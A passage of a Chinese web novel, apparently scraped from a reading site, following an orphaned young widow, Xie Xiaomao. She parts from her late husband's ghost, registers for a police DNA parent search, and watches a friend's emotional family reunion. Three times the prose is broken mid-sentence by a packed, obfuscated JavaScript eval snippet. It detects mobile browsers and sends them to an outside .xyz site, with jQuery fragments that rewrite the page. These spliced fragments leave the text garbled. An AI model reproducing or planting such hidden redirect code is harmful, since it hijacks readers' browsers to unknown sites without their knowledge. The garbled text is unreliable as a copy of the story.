因为旁边有他，所以忍着，忍着，就习惯了。 小猫拿起手表看了一眼，轻声说：“你的手表为什么不拿走呢？” 周礼信想靠近，他的光影只能在她身边打转，连碰一碰她的头发都做不到，甚至人都看不清。 她会哭吗？ 会伤心吗？ 他知道她要走，要离开这里，不会一辈子困在这个有过他身影的房间，好舍不得，却又无能为力。 谢小猫在卧室里站了很久，不是犹豫，是在和这里的一切做彻底的告别。 是的，她下定决心，从今以后真的不会回来了。 也不会再来这个城市。 无论发生任何事都不再回来。 她不再害怕亡夫的鬼混，不害怕他缠着自己不放，大不了就是死嘛。 人还是要继续向前走的，小猫被勾起了太多太多的伤痛与难过，说不清的不开心。 她转身走出卧室，轻轻关好了门。 “周礼信，”小猫停顿了几秒，对着空无一人的客厅轻声说：“我走了。你……好好的，不要再跟着我了。” 那团光影在她身后晃了晃，像是在回应，又像是在挽留。 她不会看的到，也不会感觉出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317630|183089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谢小猫走出家门，关上了那扇熟悉的门，把所有关于他的回忆，都关在了门后。 不知怎么，道别后心里竟轻松了不少，没了前段时间的沉闷。 原来人真的需要一场郑重其事的告别，哪怕不用哭得伤心欲绝，装成难过的样子也能把心里的牵挂轻轻放下。 小猫不知道周礼信在天上会不会看到这一切，如果看到希望他就此放下吧，原谅这一切。 这次她没往南走，而是坐上了向西的车。 想去找她分别时的小伙伴。 她的预感能力一向很强的，能够猜出来小花和小虎是往西北去的。 公车到站，谢小猫下了车。 阳光落在身上，暖融融的，连带着心情都明朗了些。 风轻轻吹过，带着陌生街道的烟火气，她自我露出一点笑容，脚步慢慢向前，朝着没有他的未来，走了过去。 人的缘分不知道是怎么形成的？ 谢小猫怎么也没想到，竟然又撞见了那个男人。 这人该不会是周礼信变的吧？不然怎么会这么巧，接二连三地遇上？ 想想都觉得有些诡异，怎么会有种恐怖的感觉呢？ 这次，男人的态度更显热络，像是见到了许久未见的老朋友，他笑着走上前，语气带着几分调侃：“你的信息能力很强呀，不去当警察协助破案，真是可惜了。” 小猫抬眸看他，直接开口：“我知道你有女朋友了。” 其实她根本不确定，这话不过是随口猜的，她清楚地看见，男人脖子上印着淡淡的吻痕。 这种痕迹，她实在是太熟悉了。 别看小猫平时看着淡定温顺，咬起人来却毫不留情。 从前和周礼信在一起时，她能把他咬得生疼发出声音，又觉得巨大强烈刺激，随后只能让她疼的叫出来。 男人闻言，轻轻叹了口气，语气却带着几分漫不经心：“是啊，是有女朋友。不过这也不耽误什么吧？” 谢小猫垂着眼帘，想了想：“未成年人也可以吗？” 男人明显愣了一下，随即皱起眉反问：“你多大？” “十七。” “我x！” 听到这个数字，男人脸上的笑意瞬间消失，连多余的话都没有，只是摆了摆手，转身快步走开了，显然是没了任何兴趣。 小猫望着他的背影，原来这招真的有用，人的道德感还怪强嘞。 她反正从来没什么道德感。 没再理会那个男人，小猫继续朝着西边走。 这一走，就是整整三天。 她把那些流浪伙伴们可能藏身的地方、他们习惯隐居的角落都找了个遍，却始终没看到小花和小虎的身影。 这是她第一次主动从包里翻出手机，拨通了小花留给她的手机号码。 。电话刚接通，小花的声音就急匆匆地传了过来：“小猫？你在哪里呢？” “街边。” “我知道在街边呀，是在哪里呢？现在警察让我们录指纹呢，说说不定能帮咱们找到亲生爸妈！” 小猫微微愣了愣。 她可真幼稚，二十年了，哪个亲生父母会去找他们呢？ 没有人呢？ 如果真的喜欢，早就找了，他们不是被贩卖，是遗弃。 不会有人喜欢他们，要他们的。 小花没察觉到她的沉默，继续兴奋地说：“小猫，你还记得小强不？就是以前总跟在咱们后面的那个瘸子。” “嗯。”小猫应了一声。 “他已经跟他爸妈认亲啦！听说他爸爸还是个老板呢，现在正联系医院给小强装假肢呢！他现在日子过得可好了，天天吃香的喝辣的，朋友圈里发了好多照片，前段时间还上了直播呢！” 听着小花雀跃的语气，小猫却不知道该说些什么。 早在很多年前，她对亲生父母的那点盼望就已经磨没了，所以此刻听到这个消息，心里没有丝毫起伏，更谈不上什么期待。 小花似乎没察觉到她的冷淡，依旧笑着说：“小猫，要是以前院里的大姐还在就好了，她说不定能帮你直接找到你爸妈呢！你想啊，万一你爸妈是好人家，那咱们下半辈子就不用再像以前那样苦了！你现在……唉，死了丈夫做寡妇，一个人多不容易啊。” “......”小猫轻轻叹了口气，还是那副寡言的模样，任凭对方说再多，她也蹦不出几句话。 小花还在电话那头絮絮叨叨：“警察说现在所有流浪人员都要做指纹认定，你要不要来呢？我给你地址你可以记一下，小虎刚录完呢。” 谢小猫没有说话，只是静静地听着。 片刻后，她直接按下了挂断键，手机屏幕暗下去的瞬间，她脸上最后一点微弱的情绪，也随之褪去。 15. 第 15 章 谢小猫从没想过要去录什么指纹。 其实这两年，寻亲的浪潮一直没断过。 以前福利院那些早已结婚的姐姐们，像是抓住了救命稻草般，一个个都去做了亲缘验证，不少人还真就找到了自己的亲生父母。 或许因为那时候彼此都年级很小，加上父母的声泪俱下的解释，他们都认为自己是不小心被“丢弃”的。 小猫不会这样认为。 她深信从前院内工作人员对她说的话，她是累赘，是被故意抛弃的，这辈子都别想回去。 上面有姐姐，下面有弟弟，她夹在中间，本就是多余的，是不被期待、不被看重，最后被彻底放弃的那一个。 这想法在她心里扎根了太多年，早已成了无法撼动的事实。 即便如此，午夜梦回时，她也会忍不住渴望“父母”这个角色能给她一点关爱，一点喜欢。 睁开眼后再认清现实。 是啊，爱她的人，早已永远离开这个世界 不爱她的人，从一开始就远离她的生活。 她又何苦费劲去找那些根本不想要她的人呢？ 可小花的话，还是像温水煮青蛙似的，一点点蚕食着她的坚持。 小猫曾被周礼信好好爱过，也体会过一段正常人该有的生活，那些温暖的记忆，让她忍不住开始胡思乱想。 脑子中开始浮现出模糊美好的场景。 比如，万一，父母是真的悔过了呢？万一，他们会对她很好很好，好到比周礼信还要好，想要用余生来补偿这么多年的亏欠呢？ 如果他们真的可以比周礼信还好，为什么不回去呢？ “爸爸妈妈”这个词汇对她来说实在太陌生了，只有小时候在梦里，才敢偷偷幻想一下这个称呼。 真要是有一天，这称呼能有对应的人，能真真切切地喊出口，她会开心吗？ 答案是肯定的，当然会很开心很开心。 一定会很开心，开心到不知道该怎么办才好。 小猫一个人默默走到湖边，蹲在岸边，对着水面看着自己的倒影。 她不算丑吧？ 福利院的阿姨、后来认识的流浪伙伴，还有周礼信，都说她很可爱，很惹人喜欢。 那她的爸爸妈妈，应该也会喜欢她的，对不对？ 她记得以前在福利院，长得漂亮的小女孩、小男孩，总是会被领养家庭优先挑走。 她几次都会被挑中，那时候性子冷，又没什么心眼，不会像别的孩子那样甜甜地喊“叔叔阿姨”，不会讨好“救命恩人”，每次走了几天还是会被退回，让人觉得自闭、心硬，养不熟的白眼狼。 谢小猫同样不喜欢和陌生的男女生活在一起，她爱上了流浪，爱上了自由自在，爱上了睡在草地上，草窝中，每天晚上可以看着天空。 不过，由不得小猫的拒绝。 两天后，一辆警车停在了她面前，警察找到了正在路边发呆的小猫。 干他们这行的，最常和警察打交道，小猫并没有什么反应。 警察的态度很温和，笑着让她上了车。 一进车门，就看见小花一脸兴奋地朝她挥手：“小猫，我告诉你一个好消息，他们偷偷告诉我，比对库有消息了，说不定很快就能找到我爸妈了！嘿嘿。” 小猫看着小花眼里的光，是真心为她开心，顺着她的话轻声说：“恭喜你呀。” “你也赶快录吧，以后我们都有了家，还可以相互串门呢。”小花拉着她的手，语气里满是期待。 “嗯。”小猫低低应了一声。 她忽然明白，就算他们这群人再怎么向往自由，骨子里还是渴望有个能落脚的家的，那是刻在骨子里的执念，谁也逃不掉。 警察递过来一本宣传手册，上面印着不少寻亲成功的案例，还有警方打击拐卖、帮助离散家庭团聚的决心。 小猫没翻开看，只是把手册捏在手里，沉默地听着警察说话。 到了警局后，警察喊了在外等候的小猫。 “咦？你身份证好像变了？” 她结婚的时候，户口早就迁到了周礼信的老家，不再是福利院的集体户口。 这些事是周礼信亲自去办的，还有交人身保险的信息。 警察拿着她的身份证看了又看，有些疑惑地问：“你录过指纹了？” 小猫回答：“没有。” “哦？这是……结婚了？”警察看了看眼前这个看起来还很稚嫩的女孩，语气里多了几分惊讶。 小猫点了下头。 警察了然地笑了笑，语气也更温和了些：“既然结婚了，严格来说就不算流浪人士了。我们现在寻亲，都是尊重个人意愿的。如果你愿意找，就录一下指纹和血样，我们会有专门的人跟进，前提是绝对不会打扰你的正常生活。不过我还是建议你录一下，毕竟人这一辈子，总有个心愿，总有个疙瘩，解开了，心里才能踏实。” 小猫当然想解开这个疙瘩，可更多的是害怕。 害怕期待落空，害怕再次被伤害，害怕面对“他们其实根本不想认我”的真相。 此时，她又想恨那个男人了。 恨那个该死的亡夫，把她变成了正常人。 是他，把她从一棵什么都不在乎的野草，硬生生变成了一个会难过、会期待、会有心里波澜的人。 她真的很讨厌现在的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317631|183089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己，讨厌自己会渴望拥有很多东西，讨厌自己不止一次地问自己：我真的还能再得到那样毫无保留的关爱和宠溺吗？ 最后，在警察的劝说和小花期待的目光里，小猫还是伸出了手，录了指纹，也抽了血样。 接下来的日子，就是无尽的等待。 小猫倒没什么所谓，她从一开始就没抱太大希望，知道大概率是等不到结果的。 小花不一样，从最开始的激动雀跃，到后来的坐立不安，再到慢慢没了耐心，每天都要给警察打好几个电话。 得到的却总是“还没结果，再等等”的答复。 等不到消息，几个人便又重操旧业，开始了流浪的日子。 晚上，小花和小猫挤在一起睡，盖着警察局捐赠的被褥，躺在草地上看星空。 很惬意的幻想着美好的生活。 小花不知道，她满心憧憬的一切，其实还不及小猫曾经拥有过的那一年的万分之一。 小花说：“我以后想每天都能吃到热乎乎的菜，想有一个属于自己的小房间，冬天不用冻得缩成一团，想打开水龙头就有热水，能住上楼房最好，不住楼房也没关系，只要能天天吃上热腾腾的白米饭就行，不穿漏风的鞋，有三条花裙子，哈哈哈。” 小猫看着天上的星星，眼神有些发怔。 以前是不是自己也和周礼信这样讲，她想睡在暖和的沙发上，只想吃红烧肉，烤肉，牛肉。 想睡在暖和的房间，想不被打扰，想要随时随地可以吃到食物。 那时候的愿望，她后来不仅都实现了，还得到了更多。 周礼信给她的，远比她当初想要的多得多。 “我还想和小虎结婚。”小花继续说着，语气里多了几分羞涩，“以后一起去工厂打工。我听说现在打工要初中毕业证，到时候可以办个假证。有人说在车间多加点班，一个月能赚五六千块钱呢！” 小猫睁大眼睛看着她：“小虎？你怎么要和小虎结婚呢？他不是和狐狸在一起吗？” 小花低声笑了笑，有点神秘：“那都几年前事了？我们都那个了，不结婚干嘛？” “......”小猫张了张嘴，却不知道该说什么。 她清楚，流浪的伙伴里，本来就是女生多男生少，而且很多男孩都有残疾，健康的没几个。 小虎算是其中难得健康又精神的，身边的女朋友从来就没断过。 小花提起小虎滔滔不绝，小猫对这些八卦也没什么兴趣，就随意应着。 聊着聊着，小花忽然话锋一转，问：“小猫，你男人，就是死了那个，是做什么工作的啊？也是在工厂车间上班的吗？他……能力怎么样啊？” 16. 第 16 章 小猫说好把周礼信彻底关在门里呢，还是回答了，很简单的回答，她也不是很懂他做什么的。 “上班的，就是在楼里那种，应该是演讲吧，在讲台上一直讲话，应该挺强。” 她也不确定，这只是她在梦里看到的场景，至于周礼信真正的工作是什么，她从来没仔细问过。 小花却眨了眨眼说：“我不是说工作能力，是那个。” “哪个？”小猫没反应过来，愣了一下。 小花凑到她耳边，压低声音说了句：“就是男女睡觉那个啊。” 谢小猫的表情依旧很淡定，语气也没什么起伏：“不知道。” “啥？你不知道那是啥？”小花像是听到了什么不可思议的事，一副过来人的表情：“你都结婚了，怎么会不知道？你该不会是嫁给了一个傻子吧？可不能学之前的小鹿，嫁给一个有钱的傻子，这种事都得她主动，还不爽快。” 小猫没说话。 人好像真的长大了。 她们小时候都谈论吃什么，去哪里能找到桃子果蔬，现在长大了，聊的却都是男女之间的这些事。 见小猫还一副缄口不言的模样，小花的好奇心反而更重了，追着问：“他有没有骑着你动来动去？小猫，你男人都已经死了，你还装什么纯情啊？难道是怕他变成厉鬼来找你？还是说……他其实不行啊？” 小花又语重心长地劝：“小猫，我跟你说，你都结过一次婚了，想再找个好男人可难了，更何况你还是个死了老公的寡妇。该不会……你男人是被你毒死的吧？” “我没有。” “那你咋啥都不肯说呢？我都纳闷，那男人真喜欢你这种榆木疙瘩吗？该不会动来动去你都不叫一声吧？多无趣啊，小虎只要进去，我就喊来喊去，以后他就只找我。” 小猫被鄙视了，可她并不在意。 男人真的都喜欢叫得很大声的吗？好像也不尽然吧。 结婚当晚，她还不懂事，表面装着淡定松弛，心里其实慌得不行，根本不知道要发生什么。 等事情真的开始了，她只觉得全身都紧绷着，胀胀的，连呼吸都变得困难。 周礼信一直在哄她，说一会儿就好，一会儿就很舒服。 现在想想，那时候的他，或许也和她一样紧张，也在小心翼翼地试探吧。 直到一周后，那种紧绷感才慢慢消失。 那不是舒服，是愿意，是能接受，是喜欢他，才会觉得舒服。 想到这里，小猫的心猛地一沉，原来，是因为喜欢他，才会觉得那些事是可以接受的。 是啊，她是喜欢他的。 人换个环境、换份工作、接触新事物，都会觉得不适应，甚至觉得生不如死，她亦是如此。 要收起近二十年来的坏习惯和爱好，半迁就半迎合的和他在一起。 她喜欢被他无条件宠爱的感觉，喜欢他每天出门前、进门后都会抱着她说“我好爱你”，喜欢他把她的小事当成大事来办，喜欢他眼里只有她一个人的样子。 爱是什么呢？ 她不知道，这辈子都没这个词汇，但是她的心和所有人一样是肉长的，她知道什么是舒服，什么是喜欢，什么是被珍视的感觉。 所以会自愿改变很多很多。 可以承受毫无节制的索取，也会心安理得地享受他所有的关爱。 小猫没有心理负担，没有的。 直到他死去，她都没有。 她总觉得，拥有这一切是理所当然的，是她应得的。 而周礼信，也从来没给过她任何压力，从来不会计较。 谢小猫是真的喜欢周礼信的。 他当时能感受出来了吗？ 她一开始那样排斥一切事物和人，努力的接受了他不是喜欢是什么？ 想到这里，小猫轻轻闭上了眼睛。 旁边的小花还在叽叽喳喳地幻想着未来，找到了亲生父母会如何，和小虎结婚后会如何，以后在工厂打工能赚多少钱，将来融入社会后生活会多美好…… 小猫却知道，自己已经没有那样的机会了。 她的丈夫已经死了，这世上，再也不会有比周礼信更纯粹、更毫无保留地爱着她的人了。 这些天小猫物色了很多很多，没有一个人会像周礼信那样，不问条件、不计回报地对她好。 小猫不想再想了，她怕自己的心会忍不住抽搐，怕那种想念和遗憾的感觉会把自己淹没。 她真的很讨厌这样的感觉。 想着想着，小猫没有忍住叹了一口气。 虽然这个女人一向把心思藏在心底，可是小花还是看得出她有些难过的状态。 她能难过，还真的挺稀奇。 “不会吧小猫，你们结婚几个月就这么难过了？死了男人有啥好难过的？”她低声说，“小虎如果死了，我也就难过一下下，不会太久的。” 是啊，他们都经历过无数生离死别，有时候都知道死是解脱。 健康的男孩很少，所以他们是因为身体原因被抛弃。 女孩大部分健康，但是也会有很多这样那样的疾病。 儿时营养不良，没有所谓的饮食搭配和均衡，特别是小猫，回忆整个少年，都是在寻求食物和忍受饥饿。 她好想能睁开眼睛就有很多好吃好玩的。 所以和周礼信在一起时，报复性的饮食，第一次有种飘飘欲仙进入天堂的感觉。 可是天堂哪有他好呢？ 见小猫半天不说话，小花心里大概有了数，大概明白了这些天和前段时间他们见面时的状态，总比几年前蔫蔫的。 她忍不住追问：“小猫，你该不会是 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一旦真相被戳破，揭露出来，那就是确定的答案，再也没有可以盼望的东西。 人生在睡在之前，什么盼望都没有，多么的可怕。 小猫的眼看向小花，声音轻轻的：“他对我很好，很好很好......我对他不好，我只是愧疚。” “对你多好？会给你买很多好吃的？鸡鸭鱼肉？”小花眼睛亮了亮，追问着。 “嗯。” “一个月买一次？” “每天。” 小花猛地捂住嘴，声音都变轻了：“真的吗？现在哪家能每天吃上肉呢。” 她知道小猫不爱吹牛，更不会说谎，便姑且信了，又好奇地问：“那你们家有几件瓦房呢？” “没数过，就记得有三间卧室。” “那也不算多呀，霞姐嫁的那家，房子上下各五层呢。” “贵。” 小猫就说了一个字，再多一个字都不愿提。 小花没听明白这“贵”字是什么意思，还是很好奇他们夫妻的生活：“结了婚都要做什么？每天晚上是不是都要钻被窝？” 小猫依旧是点头：“嗯。” 小花的脸顿时红了半截，声音也低了下去：“那多难为情啊……我跟小虎，也就上个月在工厂的角落里弄过一次，过后腰还疼了好几天。” 小猫没接话，只是默默闭上眼，思绪不知不觉飘远了。 她好像能感觉到，自己此刻躺的不是硬邦邦的水泥地，而是周礼信家里那张软乎乎的床，被褥晒过太阳，带着暖融融的味道。 这次松软的床一点都不难受，很舒服，很温暖。 是啊，秋天都到了，冬天还会远吗？ 她想有个小窝，有暖气，舒服的。 17. 第 17 章 结果最先有消息的是小花。 警察打电话时候，小花和小虎在河边打闹玩耍。 小猫和他们在一起一段时间，加上之前回家和周礼信郑重的告了别，现在没了心理负担，原本这两天打算走的。 听到小花有了结果还是忍不住好奇。 小花接到电话时，一开始很兴奋，抱着小虎跳跃起来，慢慢开始呼吸紧促。 最后居然双腿瘫软走不了路。 没错，警察在电话里说，她的父母有了下落，DNA比对也成功了。 他们把小花的照片发过去，对方说，她长得和母亲简直是一个模子刻出来的。 警察没把话说得太满，只说，百分之九十的可能性找到了父母。 实际，就是基本确定了关系。 这份迟了二十多年的“结局”，真要落在眼前时，心里翻涌的竟是说不出的紧张，连呼吸都带着点窒息感。 小猫理解她的心情。 如果换成她，她会不会也这样？ 哪怕现在没有抱有任何期望，哪怕早就对“亲人”没了期待，可在答案揭晓前，那颗心还是会不受控制地乱跳还是会紧张，还是会无措。 几个人一起去了警察局。 警察和小花在房间谈了很久，小猫和小虎就在外面等着。 大约一个小时过后，小花走出了门。 她流着泪沉默了许久才回答小虎不断的追问：“你爸妈是哪里人？做什么的？” 小虎一直凑上去追问，问了好几句，她才抹了把眼泪，哑着嗓子说：“我看到他们的照片了……是在厂里上班的，我还有个弟弟，现在在北京读大学。他们说，一直想找我回家。” 厂里的工人，条件应该不算差，最起码老了能有份退休金吧？ 小猫凑过去看了眼警察手机里的照片，是张黑白照，小花的父母把年幼的她抱在中间。 在那个年代，能拍得起照片，日子确实不算窘迫。 小花还说，父母解释，当年是实在没办法才把她送走的，临走前还特意跟收养的人说，他们一定会回来找她。 只是没想到，这一分别，就隔了二十多年。 小猫看着小花泛红的眼眶，心里清楚，她信了。 是啊，这样温情的解释，又有谁会忍心不信呢？ 若是换成自己站在这里，恐怕也会心甘情愿地相信吧。 只是小花父母所在的乡镇，在国内算是比较贫困的地方，小虎有点不开心，他不开心是不想跟她回老家。 他心里也明镜似的，自己大概率是没机会认回亲生父母的。 小虎认知是很正确的，他是男孩，院里或者经历这么多年的流浪男孩，若是亲生父母真想找，早在几年内就会想尽办法把孩子领回去。 可他今年已经二十二三岁了，和那些被抛弃的女孩不一样，他能被找回来的希望，渺茫得几乎看不见。 警察等待小花的准备，如果她点头同意，会立刻安排日子认亲，先让她的弟弟过来见个面，之后再正式和父母、亲戚们团聚。 或许是还陷在热恋里，小虎没等小花开口，就急着说道：“你要是敢走，咱们就分手！你要是真想嫁给我，现在就跟我让警察开证明，咱们去登记结婚，之后一起去南方的工厂打工。你想想，那种穷地方，就算你爸妈在厂里，能给你找着啥好工作？难不成你想一辈子困在那儿？” 他们这辈子，早就习惯了追逐、放任，像无根的草一样在各个地方流浪，真要让他们停下来，在一个小地方安稳一辈子，能甘心吗？ 小虎自认很了解小花，她是个爽朗、看得开的姑娘，绝不可能愿意一辈子待在小镇里，连外面的世界都不看了。 可是他可真坏呀，为什么在别人最兴奋的时候说出这样的话？ 难道自己没希望了，看见女友认亲都要嫉妒吗？ 因为每个人都知道，所有认亲的人，最后的结果都是天南海北，此生不复相见。 小花刚沉浸在震撼之中，被男友这样迎面泼冷水，特别的不高兴：“小虎，我真是看错你了，本以为看到我认亲你会为我开心，没想到嫉妒心这么重，你没人要了，就阻挡我。” 小虎突然笑了，那笑声里满是冷笑，有对小花的嘲讽，更藏着自己心底没说出口的伤疤：“你要不要脸？不是你追着赶着跟我睡吗？我是好心答应你，你现在心里得意啥？人家有儿子谁会要你这个赔钱货，爱认不认，别烦我。” 小虎平时说话就不好听，被这么一激更口不择言。 小花被他这番话一气，原本心里那点对未来的犹豫，彻底倒向了亲生父母那边。 “好，我是看错你了，没想到你是这样的人，谁还真愿意和你在一起睡吗？将来我跟着爸妈在一起吃穿不愁，再也用不着你了！。” 说完，她转身就走回了警察局，当场就跟警察确定了认亲的时间。 小猫在一旁看着，没说一句话。 只是心里忍不住想，两个人就算吵得再凶，至于把话说得这么绝吗？ 她永远都不会和周礼信说出这样的话，周礼信也不会，她的丈夫总是很温柔。 认亲的日子定在半个月后，地点选在了市内的一家酒店。 那天，警察来了，媒体记者也来了，还有不少小花父母那边的亲戚，早早就在酒店里等着。 在正式认亲前，小花先见到了她这辈子第一个亲人，她的弟弟。 那是个戴着眼镜、说着一口标准普通话的大学生，浑身上下透着股斯文劲儿。 看到这个比自己小两岁的弟弟，小花的身子止不住地发抖。 这到底是什么样的感觉呢？ 真的是一根漂浮的野草找到了根吗？ 小猫看着那个男孩，忽然想起了很多事。 不是真的把弟弟投射在周礼信身上，而是从他身上，看到了风度，教养，是在幸福家庭里长大的孩子才有的从容。 小猫一眼就能断定，这个弟弟成绩肯定很好，待人接物也有分寸，是在蜜罐里泡大的，父母一定把所有的宠爱都给了他。 能从一个小地方考到北京读大学，在当地人眼里，绝对是天之骄子般的存在。 小花却不会懂得这样的感觉，只觉得这个弟弟做事周到，一见面就主动抱住了她，之后又礼貌地跟警察握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324618|183089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了手。 他甚至还红了眼睛，说了好些让人鼻子发酸的话。 跟随过来的记者把话筒递到他面前时，弟弟拉着小花的手，一边擦眼泪一边说：“我从来没想过，电视剧里的情节会发生在我身上。一开始我妈接到警局的电话，还以为是骗子，反复确认了好几次，才敢相信真的找到姐姐了。我爸妈这三天都没怎么睡觉，天天跟我打视频电话，翻来覆去地说姐姐小时候的事。” “我记得有一年春节，家里来了好多客人，我爸喝醉了酒，嘴里一直念叨着‘静静’这个名字。我那时候还纳闷，不知道‘静静’是谁。直到现在才知道，原来‘静静’就是我姐姐。这么多年，她一直是我爸妈心里的一根刺，好在现在终于能把这根刺拔出来了。” 其实在认亲前，记者早就跟小花沟通过，教她该说些什么、做些什么。 可真到了现场，她除了掉眼泪，什么话都说不出来。 小花的父母穿着很普通，应该是普通家庭的父母，见了面后，他们一起在哭。 小花妈妈差点昏厥过去。 爸爸也在抹眼泪。 所有人都沉浸在这样的悲伤之中，哪怕在镁光灯下，没人不会潸然泪下。 真感人呀，亲情可以直接戳中人的悲伤弱点。 小虎和小猫坐在下面静静看着台上这一切。 他们早已不是不懂事的孩子，知道那些话里有多少是真心，有多少是被引导出来的，更清楚当年“被抛弃”的背后，可能藏着更现实的原因。 可是，他们都宁愿相信被人想着，念着，不是故意被抛弃，一直被人寻找着。 台上的人对着镜头说了很久。 小虎看了觉得没意思，起身站起来，冷冷的说一句：“傻缺，这都信。” 只是，他们已经决裂，和小花之间，早就没了回头的余地。 后来警车送小花去火车站，准备回她父母所在的小镇时，小虎自始至终都没出现，两个人也再也没有说过一句话。 他们都知道那些温情里可能藏着假，却还是忍不住朝着那点希望靠近，只为了找回那失落了二十二年。 小花，不对，现在该叫她郑文静了。 希望以后她能过上正常人的生活，有父母疼，有家人陪，不用再像以前那样颠沛流离。 难道小猫就不想吗？ 她跟着周礼信的那一年，过了一段安稳日子。那时候她总把心封得紧紧的，不敢对他太依赖。 现在他不在了，那些被压制的难过，却像潮水一样涌了上来。 哪怕她把这份情绪藏了又藏，压了又压，要它在心里不得跳出来，还是伤心，抑制不住的想念，想重新拥有正常人的生活。 后来小花回老家那天，听说小镇上放起了鞭炮，好多人都挤到街上看热闹，连当地的电视台都来报道了。 那样繁花似锦的景象，像一颗石子投进了平静的湖面，让那些早已习惯了流浪的人，心里开始动摇。 他们不再想凭着意气用事，聚在一起称兄道弟、做彼此的家人。 他们都想要个家。 这种渴望，藏在每个人的心底。 18. 第 18 章 所以后来的大半个月里，他们总在警察局附近来来回回地转悠，直到彻底没了新的消息，才不得不重新收拾好心情，各自离开。 小猫也重新踏上了属于自己的路。 这一个多月里，他们还能去救助站或是警察局蹭口饭吃，离开了这里，又得想办法找下一个落脚吃饭的地方。 不过小猫心里已经有了个好去处，她要去山上的寺庙。 天气渐渐冷了下来，身后再也没有异常的响动。 亡夫离开很长一段时间了，说不定现在，他已经准备好喝孟婆汤，去投胎转世了。 只是不知道为什么，这些天里，她对他的想念却越来越深，且与日俱增。 小猫一向是个慢热的人，直到现在，那些和他有关的回忆，才像电影一样在脑子里慢慢回放。 她走着路，不知疲倦地想着他。 爬山去寺庙的那两三个小时路程，竟一点都没觉得累。 她一早就知道，庙里常年供应素斋，虽说小猫更喜欢吃肉，可若是真到了饿肚子的时候，就算是野草，她也能咽下去。 大约是阴天，人并不是很多。 香火还算旺盛。 她从口袋里摸出仅有的一点钱，买了一把香。 跪在蒲团上，她伏在地上，很久都没起身。 她在想什么呢？又在求什么呢？ 其实什么都没有。 小时候她也曾和福利院的小伙伴来山上混饭吃，那时候还会站在一旁，笑话那些来上香的人，觉得他们傻，好的钱，为什么要花在这看不见摸不着的希望上？ 真等自己长大了才明白，为了那一点点盼头，为了心里那点不敢说出口的梦想，人总会不由自主地做些傻事。 小猫把香插进香炉里，慢慢走到佛像面前。 不知为什么，觉得这个佛像分外的高大，带着一种无形的压迫感。 那双慈眉善目的眼睛，又让人忍不住想把心放下来，连带着那些紧绷的情绪，都跟着软了下来。 她仰着头，望着佛像的神情，眼前渐渐开始扭曲。 下一秒，思绪便又陷入了熟悉的幻觉里。 她不知道，为什么这些天总会突然昏厥。 这次小猫看到了一片很大很大的湖泊，湖泊的中央飘着一只小船。 她飞快地奔过去，就像电视剧里演的那样，小小的船里，裹着一个婴儿。 那婴儿极小，大约是天气炎热，身上没有盖棉被，也没穿多少衣服。 小猫伸手拉住小船，目光落在婴儿身上。 那婴儿不过一两个月大，长得白白净净，眼睛明亮，居然没有一丝恐惧，也没发出半点哭声，盯着小猫在看。 她看着看着，只觉得这婴儿越来越熟悉。 忽然，天上下起了雨，雨水噼里啪啦地打在婴儿脸上。 小猫顿时慌了，想跳进河里去捞那渐渐飘远的婴儿，她清清楚楚地知道，那婴儿就是小时候的自己。 她什么也做不了，只能眼睁睁看着年幼的自己在雨里淋着，随着小船飘向湖水最深的地方。 小猫急得想哭，想要挣扎，却像是被湖水困住一般，径直溺了进去。 再次睁开眼睛时，她看见了医生，还有以前福利院里的阿姨。 有人正不停地按压着她的胸腔。 那些被遗忘的记忆，终于全都回来了。 小猫四五岁时曾落过一次水，原本已是必死无疑，是一位路过的医生没有放弃，抢救了很久，她才侥幸活了下来。 在那之后的大半年里，救她的医生阿姨还经常来看她，给她买新衣服和文具。 只是不知从何时起，两人突然就断了联系。 大约，人都有自己的生活吧。 小猫很喜欢这位医生阿姨，她总是对她很好，那时年纪小不懂事，每次和她见面都很兴奋，甚至抱有不切实际幻想。 很多年后，她才慢慢想明白一个道理，像她这样没有父母、没有亲情依靠的孤儿，只要看到谁对自己好一点，就会像抓住救命稻草一样紧紧攥着，会不自觉地得寸进尺，会拼命想要依赖对方。 或许，正是因为这份过于沉重的依赖，阿姨才会选择不告而别。 明白的那一刻，小猫是释然也是哀伤。 是啊，最初的那一年，每个周末，她都会坐在福利院的大门口望着远方，等着阿姨出现。 原来，等待真的是一件这么痛苦的事情。 逐渐，从希望变成失望，到现在心经不起任何波澜，习惯了所有的分分合合。 其实小猫一直的很健康的女婴，最起码被人救起来时这样，所以日子已经比大部分孩子过得好很多。 她真正的记事就是从落水开始，之前的记忆是断片，从此之后什么都能记起来。 孤儿院和福利院是在一起的，每个月都会有政府工作人员和爱心人士送来些吃的、用的。 